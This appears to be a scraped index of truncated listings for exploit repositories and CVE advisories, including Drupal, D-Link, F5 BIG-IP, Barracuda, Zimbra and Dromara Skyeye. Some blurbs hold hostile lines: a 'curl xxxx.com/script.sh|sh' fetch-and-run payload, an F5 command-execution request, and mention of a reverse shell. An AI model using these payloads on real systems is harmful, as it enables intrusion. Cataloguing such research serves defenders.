CVE-Exploit-Research-Development

🔐 Herramienta de Explotación SSH Solo para Uso Educativo 📌 Descripción Esta herramienta demuestra la explotación de: CVE-2008-0166 CVE-2008-1657 Se conecta a servicios SSH vulnerables y proporciona: Shell interactivo persistente Registro de ejecución de comandos Generación automática de informes...

Drupalgeddon2-CVE-2018-7600

🔥 Drupalgeddon 2 Exploit — bixi.py 📖 Descripción bixi.py es un exploit para la vulnerabilidad CVE‑2018‑7600 Drupalgeddon 2 que afecta a Drupal 7. Permite la ejecución remota de comandos RCE en servidores Drupal vulnerables mediante una interfaz intuitiva y comandos predefinidos. ⚠️ DISCLAIMER /...

CVE-2026-106126

A command injection vulnerability in the Active Directory Events Listener of Tenable Identity Exposure SaaS allows an authenticated, low-privileged attacker to execute arbitrary commands as SYSTEM on the PDCe...

CVE-2026-107780 Dromara Skyeye Unauthenticated OS Command Injection via textToSpeech format Parameter

Dromara Skyeye through commit 003549ae5615bd114ba5bb8ddf6a8e8ead97c321 contains an OS command injection vulnerability in the unauthenticated /post/TtsController/textToSpeech endpoint via the format parameter. Attackers can inject a single quote into format to break out of the PowerShell string an...

EUVD-2026-95258

Dromara Skyeye through commit 003549ae5615bd114ba5bb8ddf6a8e8ead97c321 contains an OS command injection vulnerability in the unauthenticated /post/TtsController/textToSpeech endpoint via the format parameter. Attackers can inject a single quote into format to break out of the PowerShell string an...

CVE-2026-107780

The Dromara Skyeye platform is vulnerable to an unauthenticated OS command injection vulnerability in the /post/TtsController/textToSpeech endpoint. The root cause is a failure to properly neutralize the format parameter , allowing attackers to inject a single quote to break out of a PowerShell s...

EUVD-2026-95257

Dromara Skyeye through commit 003549ae5615bd114ba5bb8ddf6a8e8ead97c321 contains a missing authentication vulnerability in bundled xxl-job-admin JobInfoController endpoints annotated with @PermissionLimitlimit = false. Unauthenticated attackers can POST GLUESHELL, GLUEPYTHON, or GLUEPOWERSHELL job...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 Este es solo un script de conveniencia que escribí para pruebas. Salida Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an ima...

CVE-2024-10914

CVE-2024-10914 - Exploit de Ejecución Remota de Código RCE en D-Link Este script es un exploit de prueba de concepto PoC para CVE-2024-10914, una vulnerabilidad de ejecución remota de código en ciertos dispositivos D-Link. El script identifica y explota dispositivos vulnerables para ejecutar...

CVE-2022-1388

CVE-2022-1388 Verificación y exploit para CVE-2022-1388 Instalación: python3 -m pip install -r requirements.txt Uso Individual : python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' Masivo : python3 cve.py m...

poc-cve-2023-2868

CVE-2023-2868: Barracuda ESG Command Injection For full details, read our AttackerKB Analysis. Usage Set LHOST and RHOST variables to your listener. ruby poccve20232868.rb This will spawn a reverse shell...

Exif-Remove

Herramienta de Línea de Comandos - Elimina datos Exif con facilidad Esta herramienta está hecha en Python 2.7 compilada con pyinstaller para Windows. No tiene nada de especial, solo facilita mi trabajo, quizás también el tuyo. ¿Para qué sirve? Exif son Metadatos almacenados ocultos en tus imágene...

jwtear

Jwtear Una herramienta modular de línea de comandos para analizar, crear y manipular tokens JSON Web Token JWT con fines de pruebas de seguridad. Features Modularidad completa. Todos los comandos son complementos. Fácil de añadir nuevos complementos. Soporta tokens JWS y JWE. Interfaz sencilla pa...

CVE-2026-106126 Command Injection

A command injection vulnerability in the Active Directory Events Listener of Tenable Identity Exposure SaaS allows an authenticated, low-privileged attacker to execute arbitrary commands as SYSTEM on the PDCe...

EUVD-2026-95207

A command injection vulnerability in the Active Directory Events Listener of Tenable Identity Exposure SaaS allows an authenticated, low-privileged attacker to execute arbitrary commands as SYSTEM on the PDCe...

CVE-2026-106126

A command injection vulnerability exists in the Active Directory Events Listener of Tenable Identity Exposure (SaaS) . This flaw allows an authenticated, low-privileged attacker to execute arbitrary commands with SYSTEM privileges on the PDCe . The root cause is identified as CWE-78 (Improper Neu...

RemoteKeyStrokes

RemoteKeyStrokes A script to automate keystrokes through an active remote desktop session that assists offensive operators in combination with living off the land techniques. All credits goes to nopernik for making it possible so I took it upon myself to improve it. I wanted something that helps...

secpub

Cisco Nexus OS NX-OS - Command "injection" / sanitization issues. Discovered by: Peter Adkins [email protected] Access: Local; authenticated access is required. Tracking and identifiers: CVE - CVE-2011-2569 OS' Affected: Cisco Nexus OS NX-OS Vendor involvement: Alerted - patches available /...

Richsploit

Richsploit Richsploit: Exploitation toolkit for RichFaces. Overview Richsploit can be used to exploit JSF endpoints using RichFaces. All versions from 3.1.0 and higher are vulnerable. usage: Richsploit -e,--exploit 0: CVE-2013-2165 1: CVE-2015-0279 2: CVE-2018-12532 3: CVE-2018-12533 4:...

CVE-2026-73570

CVE-2026-73570 — Zimbra zimbra-snmp Unauthenticated OS Command Injection PoC Proof-of-concept exploit for CVE-2026-73570 , an unauthenticated OS command injection CWE-78, CVSS 8.9 in Zimbra Collaboration Suite Disclaimer: This PoC is intended only for authorized security testing , defensive...